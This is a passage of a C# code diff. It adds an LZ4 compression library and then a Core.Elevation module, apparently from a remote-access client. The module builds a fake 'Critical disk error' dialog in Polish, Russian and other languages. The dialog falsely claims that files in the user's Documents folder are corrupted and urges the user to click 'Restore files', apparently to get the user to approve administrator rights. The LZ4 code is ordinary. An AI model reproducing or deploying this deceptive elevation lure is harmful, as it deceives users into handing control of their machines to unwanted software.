if ((ip < (matchlimit - 1)) && (*(ushort*)(r) == *(ushort*)(ip))) { ip += 2; r += 2; }
|
||||
if ((ip < matchlimit) && (*r == *ip)) ip++;
|
||||
_endCount:
|
||||
|
||||
len = (int)(ip - anchor);
|
||||
if (op + (1 + LASTLITERALS) + (len >> 8) >= oend) return 0; // Check output limit
|
||||
// Encode MatchLength
|
||||
if (len >= (int)LZ4Util.ML_MASK) { *token += (byte)LZ4Util.ML_MASK; len -= (byte)LZ4Util.ML_MASK; for (; len > 509; len -= 510) { *op++ = 255; *op++ = 255; } if (len > 254) { len -= 255; *op++ = 255; } *op++ = (byte)len; }
|
||||
else *token += (byte)len;
|
||||
|
||||
// Test end of chunk
|
||||
if (ip > mflimit) { anchor = ip; break; }
|
||||
|
||||
// Fill table
|
||||
hashTable[(((*(uint*)ip - 2) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG))] = ip - 2 - basePtr;
|
||||
|
||||
// Test next position
|
||||
r = basePtr + hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG))];
|
||||
hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG))] = ip - basePtr;
|
||||
if ((r > ip - (MAX_DISTANCE + 1)) && (*(uint*)r == *(uint*)ip)) { token = op++; *token = 0; goto _next_match; }
|
||||
|
||||
// Prepare next loop
|
||||
anchor = ip++;
|
||||
forwardH = (((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG));
|
||||
}
|
||||
|
||||
_last_literals:
|
||||
// Encode Last Literals
|
||||
{
|
||||
int lastRun = (int)(iend - anchor);
|
||||
if (((byte*)op - dest) + lastRun + 1 + ((lastRun - 15) / 255) >= maxOutputSize) return 0;
|
||||
if (lastRun >= (int)LZ4Util.RUN_MASK) { *op++ = (byte)(LZ4Util.RUN_MASK << LZ4Util.ML_BITS); lastRun -= (byte)LZ4Util.RUN_MASK; for (; lastRun > 254; lastRun -= 255) *op++ = 255; *op++ = (byte)lastRun; }
|
||||
else *op++ = (byte)(lastRun << LZ4Util.ML_BITS);
|
||||
LZ4Util.CopyMemory(op, anchor, iend - anchor);
|
||||
op += iend - anchor;
|
||||
}
|
||||
|
||||
// End
|
||||
return (int)(((byte*)op) - dest);
|
||||
}
|
||||
}
|
||||
|
||||
// Note : this function is valid only if isize < LZ4_64KLIMIT
|
||||
int Compress64K(byte* source, byte* dest, int isize, int maxOutputSize)
|
||||
{
|
||||
fixed (byte* hashTablePtr = m_HashTable)
|
||||
fixed (byte* deBruijnBytePos = DeBruijnBytePos)
|
||||
{
|
||||
Clear(hashTablePtr, sizeof(ushort) * HASHTABLESIZE * 2);
|
||||
ushort* hashTable = (ushort*)hashTablePtr;
|
||||
|
||||
byte* ip = (byte*)source;
|
||||
byte* anchor = ip;
|
||||
byte* basep = ip;
|
||||
byte* iend = ip + isize;
|
||||
byte* mflimit = iend - MFLIMIT;
|
||||
byte* matchlimit = (iend - LASTLITERALS);
|
||||
byte* op = (byte*)dest;
|
||||
byte* oend = dest + maxOutputSize;
|
||||
|
||||
int len, length;
|
||||
const int skipStrength = SKIPSTRENGTH;
|
||||
uint forwardH;
|
||||
|
||||
// Init
|
||||
if (isize < MINLENGTH) goto _last_literals;
|
||||
|
||||
// First Byte
|
||||
ip++; forwardH = (((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)));
|
||||
|
||||
// Main Loop
|
||||
for (; ; )
|
||||
{
|
||||
int findMatchAttempts = (int)(1U << skipStrength) + 3;
|
||||
byte* forwardIp = ip;
|
||||
byte* r;
|
||||
byte* token;
|
||||
|
||||
// Find a match
|
||||
do
|
||||
{
|
||||
uint h = forwardH;
|
||||
int step = findMatchAttempts++ >> skipStrength;
|
||||
ip = forwardIp;
|
||||
forwardIp = ip + step;
|
||||
|
||||
if (forwardIp > mflimit) { goto _last_literals; }
|
||||
|
||||
forwardH = (((*(uint*)forwardIp) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)));
|
||||
r = basep + hashTable[h];
|
||||
hashTable[h] = (ushort)(ip - basep);
|
||||
|
||||
} while (*(uint*)r != *(uint*)ip);
|
||||
|
||||
// Catch up
|
||||
while ((ip > anchor) && (r > (byte*)source) && (ip[-1] == r[-1])) { ip--; r--; }
|
||||
|
||||
// Encode Literal Length
|
||||
length = (int)(ip - anchor);
|
||||
token = op++;
|
||||
if (op + length + (2 + 1 + LASTLITERALS) + (length >> 8) >= oend) return 0; // Check output limit
|
||||
if (length >= (int)LZ4Util.RUN_MASK) { *token = (byte)(LZ4Util.RUN_MASK << LZ4Util.ML_BITS); len = (int)(length - LZ4Util.RUN_MASK); for (; len > 254; len -= 255) *op++ = 255; *op++ = (byte)len; }
|
||||
else *token = (byte)(length << LZ4Util.ML_BITS);
|
||||
|
||||
// Copy Literals
|
||||
{ byte* e = (op) + length; do { *(uint*)op = *(uint*)anchor; op += 4; anchor += 4; ; *(uint*)op = *(uint*)anchor; op += 4; anchor += 4; ; } while (op < e);; op = e; };
|
||||
|
||||
|
||||
_next_match:
|
||||
// Encode Offset
|
||||
*(ushort*)op = (ushort)(ip - r); op += 2;
|
||||
|
||||
// Start Counting
|
||||
ip += MINMATCH; r += MINMATCH; // MinMatch verified
|
||||
anchor = ip;
|
||||
// while (ip<matchlimit-3)
|
||||
// {
|
||||
// if (*(uint *)r == *(uint *)ip) { ip+=4; r+=4; continue; }
|
||||
// if (*(ushort *)r == *(ushort *)ip) { ip+=2; r+=2; }
|
||||
// if (*r == *ip) ip++;
|
||||
|
||||
while (ip < matchlimit - (STEPSIZE - 1))
|
||||
{
|
||||
int diff = (int)(*(int*)(r) ^ *(int*)(ip));
|
||||
if (diff == 0) { ip += STEPSIZE; r += STEPSIZE; continue; }
|
||||
ip += DeBruijnBytePos[((uint)((diff & -diff) * 0x077CB531U)) >> 27]; ;
|
||||
goto _endCount;
|
||||
}
|
||||
|
||||
if ((ip < (matchlimit - 1)) && (*(ushort*)r == *(ushort*)ip)) { ip += 2; r += 2; }
|
||||
if ((ip < matchlimit) && (*r == *ip)) ip++;
|
||||
_endCount:
|
||||
len = (int)(ip - anchor);
|
||||
|
||||
//Encode MatchLength
|
||||
if (len >= (int)LZ4Util.ML_MASK) { *token = (byte)(*token + LZ4Util.ML_MASK); len = (int)(len - LZ4Util.ML_MASK); for (; len > 509; len -= 510) { *op++ = 255; *op++ = 255; } if (len > 254) { len -= 255; *op++ = 255; } *op++ = (byte)len; }
|
||||
else *token = (byte)(*token + len);
|
||||
|
||||
// Test end of chunk
|
||||
if (ip > mflimit) { anchor = ip; break; }
|
||||
|
||||
// Fill table
|
||||
hashTable[(((*(uint*)ip - 2) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)))] = (ushort)(ip - 2 - basep);
|
||||
|
||||
// Test next position
|
||||
r = basep + hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)))];
|
||||
hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)))] = (ushort)(ip - basep);
|
||||
if (*(uint*)r == *(uint*)ip) { token = op++; *token = 0; goto _next_match; }
|
||||
|
||||
// Prepare next loop
|
||||
anchor = ip++;
|
||||
forwardH = (((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)));
|
||||
}
|
||||
|
||||
_last_literals:
|
||||
{
|
||||
int lastRun = (int)(iend - anchor);
|
||||
if (((byte*)op - dest) + lastRun + 1 + ((lastRun) >> 8) >= maxOutputSize) return 0;
|
||||
if (lastRun >= (int)LZ4Util.RUN_MASK) { *op++ = (byte)(LZ4Util.RUN_MASK << LZ4Util.ML_BITS); lastRun -= (byte)LZ4Util.RUN_MASK; for (; lastRun > 254; lastRun -= 255) *op++ = 255; *op++ = (byte)lastRun; }
|
||||
else *op++ = (byte)(lastRun << LZ4Util.ML_BITS);
|
||||
LZ4Util.CopyMemory(op, anchor, iend - anchor);
|
||||
op += iend - anchor;
|
||||
}
|
||||
|
||||
|
||||
return (int)(((byte*)op) - dest);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// TODO: test if this is faster or slower than Array.Clear.
|
||||
/// </summary>
|
||||
/// <param name="array"></param>
|
||||
/// <param name="count"></param>
|
||||
static void Clear(byte* ptr, int count)
|
||||
{
|
||||
long* p = (long*)ptr;
|
||||
int longCount = count >> SIZE_OF_LONG_TIMES_TWO_SHIFT; // count / sizeof(long) * 2;
|
||||
while (longCount-- != 0)
|
||||
{
|
||||
*p++ = 0L;
|
||||
*p++ = 0L;
|
||||
}
|
||||
|
||||
|
||||
Debug.Assert(count % 16 == 0, "HashTable size must be divisible by 16");
|
||||
|
||||
//for (int i = longCount << 4 ; i < count; i++)
|
||||
// ptr[i] = 0;
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,258 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace LZ4
|
||||
{
|
||||
/// <summary>
|
||||
/// Class for decompressing an LZ4 compressed byte array.
|
||||
/// </summary>
|
||||
public unsafe class LZ4Decompressor32
|
||||
{
|
||||
const int STEPSIZE = 4;
|
||||
|
||||
static byte[] DeBruijnBytePos = new byte[32] { 0, 0, 3, 0, 3, 1, 3, 0, 3, 2, 2, 1, 3, 2, 0, 1, 3, 3, 1, 2, 2, 2, 2, 0, 3, 1, 2, 0, 1, 0, 1, 1 };
|
||||
//**************************************
|
||||
// Macros
|
||||
//**************************************
|
||||
readonly sbyte[] m_DecArray = new sbyte[8] { 0, 3, 2, 3, 0, 0, 0, 0 };
|
||||
// Note : The decoding functions LZ4_uncompress() and LZ4_uncompress_unknownOutputSize()
|
||||
// are safe against "buffer overflow" attack type
|
||||
// since they will *never* write outside of the provided output buffer :
|
||||
// they both check this condition *before* writing anything.
|
||||
// A corrupted packet however can make them *read* within the first 64K before the output buffer.
|
||||
/// <summary>
|
||||
/// Decompress.
|
||||
/// </summary>
|
||||
/// <param name="source">compressed array</param>
|
||||
/// <param name="dest">This must be the exact length of the decompressed item</param>
|
||||
public void DecompressKnownSize(byte[] compressed, byte[] decompressed)
|
||||
{
|
||||
int len = DecompressKnownSize(compressed, decompressed, decompressed.Length);
|
||||
Debug.Assert(len == decompressed.Length);
|
||||
}
|
||||
public int DecompressKnownSize(byte[] compressed, byte[] decompressedBuffer, int decompressedSize)
|
||||
{
|
||||
fixed (byte* src = compressed)
|
||||
fixed (byte* dst = decompressedBuffer)
|
||||
return DecompressKnownSize(src, dst, decompressedSize);
|
||||
}
|
||||
public int DecompressKnownSize(byte* compressed, byte* decompressedBuffer, int decompressedSize)
|
||||
{
|
||||
fixed (sbyte* dec = m_DecArray)
|
||||
{
|
||||
// Local Variables
|
||||
byte* ip = (byte*)compressed;
|
||||
byte* r;
|
||||
|
||||
byte* op = (byte*)decompressedBuffer;
|
||||
byte* oend = op + decompressedSize;
|
||||
byte* cpy;
|
||||
|
||||
byte token;
|
||||
int len, length;
|
||||
|
||||
|
||||
// Main Loop
|
||||
while (true)
|
||||
{
|
||||
// get runLength
|
||||
token = *ip++;
|
||||
if ((length = (token >> LZ4Util.ML_BITS)) == LZ4Util.RUN_MASK) { for (; (len = *ip++) == 255; length += 255) { } length += len; }
|
||||
|
||||
|
||||
cpy = op + length;
|
||||
if (cpy > oend - LZ4Util.COPYLENGTH)
|
||||
{
|
||||
if (cpy > oend) goto _output_error;
|
||||
LZ4Util.CopyMemory(op, ip, length);
|
||||
ip += length;
|
||||
break;
|
||||
}
|
||||
|
||||
do { *(uint*)op = *(uint*)ip; op += 4; ip += 4; ; *(uint*)op = *(uint*)ip; op += 4; ip += 4; ; } while (op < cpy); ; ip -= (op - cpy); op = cpy;
|
||||
|
||||
|
||||
// get offset
|
||||
{ r = (cpy) - *(ushort*)ip; }; ip += 2;
|
||||
if (r < decompressedBuffer) goto _output_error;
|
||||
|
||||
// get matchLength
|
||||
if ((length = (int)(token & LZ4Util.ML_MASK)) == LZ4Util.ML_MASK) { for (; *ip == 255; length += 255) { ip++; } length += *ip++; }
|
||||
|
||||
// copy repeated sequence
|
||||
if (op - r < STEPSIZE)
|
||||
{
|
||||
|
||||
|
||||
|
||||
const int dec2 = 0;
|
||||
|
||||
|
||||
|
||||
*op++ = *r++;
|
||||
*op++ = *r++;
|
||||
*op++ = *r++;
|
||||
*op++ = *r++;
|
||||
r -= dec[op - r];
|
||||
*(uint*)op = *(uint*)r; op += STEPSIZE - 4;
|
||||
r -= dec2;
|
||||
}
|
||||
else { *(uint*)op = *(uint*)r; op += 4; r += 4; ; }
|
||||
cpy = op + length - (STEPSIZE - 4);
|
||||
if (cpy > oend - LZ4Util.COPYLENGTH)
|
||||
{
|
||||
if (cpy > oend) goto _output_error;
|
||||
|
||||
do { *(uint*)op = *(uint*)r; op += 4; r += 4; ; *(uint*)op = *(uint*)r; op += 4; r += 4; ; } while (op < (oend - LZ4Util.COPYLENGTH)); ;
|
||||
while (op < cpy) *op++ = *r++;
|
||||
op = cpy;
|
||||
if (op == oend) break;
|
||||
continue;
|
||||
}
|
||||
|
||||
do { *(uint*)op = *(uint*)r; op += 4; r += 4; ; *(uint*)op = *(uint*)r; op += 4; r += 4; ; } while (op < cpy); ;
|
||||
op = cpy; // correction
|
||||
}
|
||||
|
||||
// end of decoding
|
||||
return (int)(((byte*)ip) - compressed);
|
||||
|
||||
// write overflow error detected
|
||||
_output_error:
|
||||
return (int)(-(((byte*)ip) - compressed));
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Decompress(byte[] compressed)
|
||||
{
|
||||
int length = compressed.Length;
|
||||
int len;
|
||||
byte[] dest;
|
||||
const int Multiplier = 4; // Just a number. Determines how fast length should increase.
|
||||
do
|
||||
{
|
||||
length *= Multiplier;
|
||||
dest = new byte[length];
|
||||
len = Decompress(compressed, dest, compressed.Length);
|
||||
}
|
||||
while (len < 0 || dest.Length < len);
|
||||
|
||||
byte[] d = new byte[len];
|
||||
Buffer.BlockCopy(dest, 0, d, 0, d.Length);
|
||||
return d;
|
||||
}
|
||||
|
||||
public int Decompress(byte[] compressed, byte[] decompressedBuffer)
|
||||
{
|
||||
return Decompress(compressed, decompressedBuffer, compressed.Length);
|
||||
}
|
||||
|
||||
public int Decompress(byte[] compressedBuffer, byte[] decompressedBuffer, int compressedSize)
|
||||
{
|
||||
fixed (byte* src = compressedBuffer)
|
||||
fixed (byte* dst = decompressedBuffer)
|
||||
return Decompress(src, dst, compressedSize, decompressedBuffer.Length);
|
||||
}
|
||||
|
||||
public int Decompress(byte[] compressedBuffer, int compressedPosition, byte[] decompressedBuffer, int decompressedPosition, int compressedSize)
|
||||
{
|
||||
fixed (byte* src = &compressedBuffer[compressedPosition])
|
||||
fixed (byte* dst = &decompressedBuffer[decompressedPosition])
|
||||
return Decompress(src, dst, compressedSize, decompressedBuffer.Length);
|
||||
}
|
||||
|
||||
public int Decompress(
|
||||
byte* compressedBuffer,
|
||||
byte* decompressedBuffer,
|
||||
int compressedSize,
|
||||
int maxDecompressedSize)
|
||||
{
|
||||
fixed (sbyte* dec = m_DecArray)
|
||||
{
|
||||
// Local Variables
|
||||
byte* ip = (byte*)compressedBuffer;
|
||||
byte* iend = ip + compressedSize;
|
||||
byte* r;
|
||||
|
||||
byte* op = (byte*)decompressedBuffer;
|
||||
byte* oend = op + maxDecompressedSize;
|
||||
byte* cpy;
|
||||
|
||||
byte token;
|
||||
int length;
|
||||
|
||||
|
||||
// Main Loop
|
||||
while (ip < iend)
|
||||
{
|
||||
// get runLength
|
||||
token = *ip++;
|
||||
if ((length = (token >> LZ4Util.ML_BITS)) == LZ4Util.RUN_MASK) { int s = 255; while ((ip < iend) && (s == 255)) { s = *ip++; length += s; } }
|
||||
|
||||
// copy literals
|
||||
cpy = op + length;
|
||||
if ((cpy > oend - LZ4Util.COPYLENGTH) || (ip + length > iend - LZ4Util.COPYLENGTH))
|
||||
{
|
||||
if (cpy > oend) goto _output_error; // Error : request to write beyond destination buffer
|
||||
if (ip + length > iend) goto _output_error; // Error : request to read beyond source buffer
|
||||
LZ4Util.CopyMemory(op, ip, length);
|
||||
op += length;
|
||||
ip += length;
|
||||
if (ip < iend) goto _output_error; // Error : LZ4 format violation
|
||||
break; //Necessarily EOF
|
||||
}
|
||||
|
||||
do { *(uint*)op = *(uint*)ip; op += 4; ip += 4; ; *(uint*)op = *(uint*)ip; op += 4; ip += 4; ; } while (op < cpy); ; ip -= (op - cpy); op = cpy;
|
||||
|
||||
// get offset
|
||||
{ r = (cpy) - *(ushort*)ip; }; ip += 2;
|
||||
if (r < decompressedBuffer) goto _output_error;
|
||||
|
||||
// get matchlength
|
||||
if ((length = (int)(token & LZ4Util.ML_MASK)) == LZ4Util.ML_MASK) { while (ip < iend) { int s = *ip++; length += s; if (s == 255) continue; break; } }
|
||||
|
||||
// copy repeated sequence
|
||||
if (op - r < STEPSIZE)
|
||||
{
|
||||
|
||||
|
||||
|
||||
const int dec2 = 0;
|
||||
|
||||
|
||||
*op++ = *r++;
|
||||
*op++ = *r++;
|
||||
*op++ = *r++;
|
||||
*op++ = *r++;
|
||||
r -= dec[op - r];
|
||||
*(uint*)op = *(uint*)r; op += STEPSIZE - 4;
|
||||
r -= dec2;
|
||||
}
|
||||
else { *(uint*)op = *(uint*)r; op += 4; r += 4; ; }
|
||||
cpy = op + length - (STEPSIZE - 4);
|
||||
if (cpy > oend - LZ4Util.COPYLENGTH)
|
||||
{
|
||||
if (cpy > oend) goto _output_error;
|
||||
|
||||
do { *(uint*)op = *(uint*)r; op += 4; r += 4; ; *(uint*)op = *(uint*)r; op += 4; r += 4; ; } while (op < (oend - LZ4Util.COPYLENGTH)); ;
|
||||
while (op < cpy) *op++ = *r++;
|
||||
op = cpy;
|
||||
if (op == oend) goto _output_error; // Check EOF (should never happen, since last 5 bytes are supposed to be literals)
|
||||
continue;
|
||||
}
|
||||
do { *(uint*)op = *(uint*)r; op += 4; r += 4; ; *(uint*)op = *(uint*)r; op += 4; r += 4; ; } while (op < cpy); ;
|
||||
op = cpy; // correction
|
||||
}
|
||||
|
||||
|
||||
return (int)(((byte*)op) - decompressedBuffer);
|
||||
|
||||
|
||||
_output_error:
|
||||
return (int)(-(((byte*)ip) - compressedBuffer));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,52 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace LZ4
|
||||
{
|
||||
/// <summary>
|
||||
/// Constants and methods shared by LZ4Compressor and LZ4Decompressor
|
||||
/// </summary>
|
||||
internal class LZ4Util
|
||||
{
|
||||
//**************************************
|
||||
// Constants
|
||||
//**************************************
|
||||
public const int COPYLENGTH = 8;
|
||||
public const int ML_BITS = 4;
|
||||
public const uint ML_MASK = ((1U << ML_BITS) - 1);
|
||||
public const int RUN_BITS = (8 - ML_BITS);
|
||||
public const uint RUN_MASK = ((1U << RUN_BITS) - 1);
|
||||
|
||||
public static unsafe void CopyMemory(byte* dst, byte* src, long length)
|
||||
{
|
||||
while (length >= 16)
|
||||
{
|
||||
*(ulong*)dst = *(ulong*)src; dst += 8; src += 8;
|
||||
*(ulong*)dst = *(ulong*)src; dst += 8; src += 8;
|
||||
length -= 16;
|
||||
}
|
||||
|
||||
if (length >= 8)
|
||||
{
|
||||
*(ulong*)dst = *(ulong*)src; dst += 8; src += 8;
|
||||
length -= 8;
|
||||
}
|
||||
|
||||
if (length >= 4)
|
||||
{
|
||||
*(uint*)dst = *(uint*)src; dst += 4; src += 4;
|
||||
length -= 4;
|
||||
}
|
||||
|
||||
if (length >= 2)
|
||||
{
|
||||
*(ushort*)dst = *(ushort*)src; dst += 2; src += 2;
|
||||
length -= 2;
|
||||
}
|
||||
|
||||
if (length != 0)
|
||||
*dst = *src;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Core.Elevation
|
||||
{
|
||||
public class CommandButton : Button
|
||||
{
|
||||
public CommandButton()
|
||||
{
|
||||
this.FlatStyle = FlatStyle.System;
|
||||
}
|
||||
|
||||
protected override CreateParams CreateParams
|
||||
{
|
||||
get
|
||||
{
|
||||
CreateParams cParams = base.CreateParams;
|
||||
if (Environment.OSVersion.Version.Major >= 6)
|
||||
cParams.Style |= 14;
|
||||
return cParams;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,171 @@
|
|||
namespace Core.Elevation
|
||||
{
|
||||
partial class frmElevation
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.lblHead = new System.Windows.Forms.Label();
|
||||
this.picError = new System.Windows.Forms.PictureBox();
|
||||
this.panelBot = new System.Windows.Forms.Panel();
|
||||
this.linkError = new System.Windows.Forms.LinkLabel();
|
||||
this.picInfo = new System.Windows.Forms.PictureBox();
|
||||
this.lblText = new System.Windows.Forms.Label();
|
||||
this.btnRestoreAndCheck = new Core.Elevation.CommandButton();
|
||||
this.btnRestore = new Core.Elevation.CommandButton();
|
||||
((System.ComponentModel.ISupportInitialize)(this.picError)).BeginInit();
|
||||
this.panelBot.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.picInfo)).BeginInit();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// lblHead
|
||||
//
|
||||
this.lblHead.AutoSize = true;
|
||||
this.lblHead.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.lblHead.ForeColor = System.Drawing.Color.MediumBlue;
|
||||
this.lblHead.Location = new System.Drawing.Point(60, 12);
|
||||
this.lblHead.Name = "lblHead";
|
||||
this.lblHead.Size = new System.Drawing.Size(79, 20);
|
||||
this.lblHead.TabIndex = 2;
|
||||
this.lblHead.Text = "%ERROR%";
|
||||
//
|
||||
// picError
|
||||
//
|
||||
this.picError.Location = new System.Drawing.Point(12, 12);
|
||||
this.picError.Name = "picError";
|
||||
this.picError.Size = new System.Drawing.Size(42, 42);
|
||||
this.picError.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
|
||||
this.picError.TabIndex = 3;
|
||||
this.picError.TabStop = false;
|
||||
//
|
||||
// panelBot
|
||||
//
|
||||
this.panelBot.BackColor = System.Drawing.Color.WhiteSmoke;
|
||||
this.panelBot.Controls.Add(this.linkError);
|
||||
this.panelBot.Controls.Add(this.picInfo);
|
||||
this.panelBot.Dock = System.Windows.Forms.DockStyle.Bottom;
|
||||
this.panelBot.Location = new System.Drawing.Point(0, 245);
|
||||
this.panelBot.Name = "panelBot";
|
||||
this.panelBot.Size = new System.Drawing.Size(542, 38);
|
||||
this.panelBot.TabIndex = 4;
|
||||
//
|
||||
// linkError
|
||||
//
|
||||
this.linkError.AutoSize = true;
|
||||
this.linkError.Location = new System.Drawing.Point(37, 11);
|
||||
this.linkError.Name = "linkError";
|
||||
this.linkError.Size = new System.Drawing.Size(88, 13);
|
||||
this.linkError.TabIndex = 1;
|
||||
this.linkError.TabStop = true;
|
||||
this.linkError.Text = "%MOREDETAILS";
|
||||
this.linkError.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.linkError_LinkClicked);
|
||||
//
|
||||
// picInfo
|
||||
//
|
||||
this.picInfo.Image = global::Client.Properties.Resources.information;
|
||||
this.picInfo.Location = new System.Drawing.Point(12, 10);
|
||||
this.picInfo.Name = "picInfo";
|
||||
this.picInfo.Size = new System.Drawing.Size(16, 16);
|
||||
this.picInfo.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
|
||||
this.picInfo.TabIndex = 0;
|
||||
this.picInfo.TabStop = false;
|
||||
//
|
||||
// lblText
|
||||
//
|
||||
this.lblText.AutoSize = true;
|
||||
this.lblText.Location = new System.Drawing.Point(61, 48);
|
||||
this.lblText.Name = "lblText";
|
||||
this.lblText.Size = new System.Drawing.Size(47, 13);
|
||||
this.lblText.TabIndex = 5;
|
||||
this.lblText.Text = "%TEXT%";
|
||||
//
|
||||
// btnRestoreAndCheck
|
||||
//
|
||||
this.btnRestoreAndCheck.FlatStyle = System.Windows.Forms.FlatStyle.System;
|
||||
this.btnRestoreAndCheck.Location = new System.Drawing.Point(12, 190);
|
||||
this.btnRestoreAndCheck.Name = "btnRestoreAndCheck";
|
||||
this.btnRestoreAndCheck.Size = new System.Drawing.Size(518, 42);
|
||||
this.btnRestoreAndCheck.TabIndex = 1;
|
||||
this.btnRestoreAndCheck.Text = "%RESTOREANDCHECK%";
|
||||
this.btnRestoreAndCheck.UseVisualStyleBackColor = true;
|
||||
this.btnRestoreAndCheck.Click += new System.EventHandler(this.btnRestoreAndCheck_Click);
|
||||
//
|
||||
// btnRestore
|
||||
//
|
||||
this.btnRestore.FlatStyle = System.Windows.Forms.FlatStyle.System;
|
||||
this.btnRestore.Location = new System.Drawing.Point(12, 140);
|
||||
this.btnRestore.Name = "btnRestore";
|
||||
this.btnRestore.Size = new System.Drawing.Size(518, 42);
|
||||
this.btnRestore.TabIndex = 0;
|
||||
this.btnRestore.Text = "%RESTORE%";
|
||||
this.btnRestore.UseVisualStyleBackColor = true;
|
||||
this.btnRestore.Click += new System.EventHandler(this.btnRestore_Click);
|
||||
//
|
||||
// frmElevation
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.BackColor = System.Drawing.Color.White;
|
||||
this.ClientSize = new System.Drawing.Size(542, 283);
|
||||
this.ControlBox = false;
|
||||
this.Controls.Add(this.lblText);
|
||||
this.Controls.Add(this.picError);
|
||||
this.Controls.Add(this.lblHead);
|
||||
this.Controls.Add(this.btnRestoreAndCheck);
|
||||
this.Controls.Add(this.btnRestore);
|
||||
this.Controls.Add(this.panelBot);
|
||||
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = "frmElevation";
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "%TITLE%";
|
||||
this.TopMost = true;
|
||||
this.Paint += new System.Windows.Forms.PaintEventHandler(this.frmElevation_Paint);
|
||||
((System.ComponentModel.ISupportInitialize)(this.picError)).EndInit();
|
||||
this.panelBot.ResumeLayout(false);
|
||||
this.panelBot.PerformLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.picInfo)).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private CommandButton btnRestore;
|
||||
private CommandButton btnRestoreAndCheck;
|
||||
private System.Windows.Forms.Label lblHead;
|
||||
private System.Windows.Forms.PictureBox picError;
|
||||
private System.Windows.Forms.Panel panelBot;
|
||||
private System.Windows.Forms.Label lblText;
|
||||
private System.Windows.Forms.PictureBox picInfo;
|
||||
private System.Windows.Forms.LinkLabel linkError;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,126 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Core.Elevation
|
||||
{
|
||||
public partial class frmElevation : Form
|
||||
{
|
||||
public frmElevation()
|
||||
{
|
||||
InitializeComponent();
|
||||
|
||||
picError.Image = SystemIcons.Error.ToBitmap();
|
||||
SetLanguage();
|
||||
}
|
||||
|
||||
private void SetLanguage()
|
||||
{
|
||||
string CountryCode = System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName;
|
||||
//string CountryCode = "ES";
|
||||
switch (CountryCode)
|
||||
{
|
||||
case "PL": // by navaro21
|
||||
this.Text = "Krytyczny błąd dysku";
|
||||
lblHead.Text = "Plik lub lokalizacja została uszkodzona i jest niezdolna do odczytu.";
|
||||
lblText.Text = "Zostało znalezionych wiele uszkodzonych plików w lokalizacji 'Moje Dokumenty'. Aby\nzapobiec poważnej utraty danych pozwól systemowi Windows odzyskać te pliki.\n\n" +
|
||||
"Uszkodzona lokalizacja: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||||
"Liczba uszkodzonych plików: 4";
|
||||
btnRestore.Text = "Odzyskaj pliki";
|
||||
btnRestoreAndCheck.Text = "Odzyskaj pliki i sprawdź dysk w poszukiwaniu błędów.";
|
||||
linkError.Text = "Więcej szczegółów o tym błędzie";
|
||||
break;
|
||||
case "RU": // by GameFire
|
||||
this.Text = "Критическая ошибка диска";
|
||||
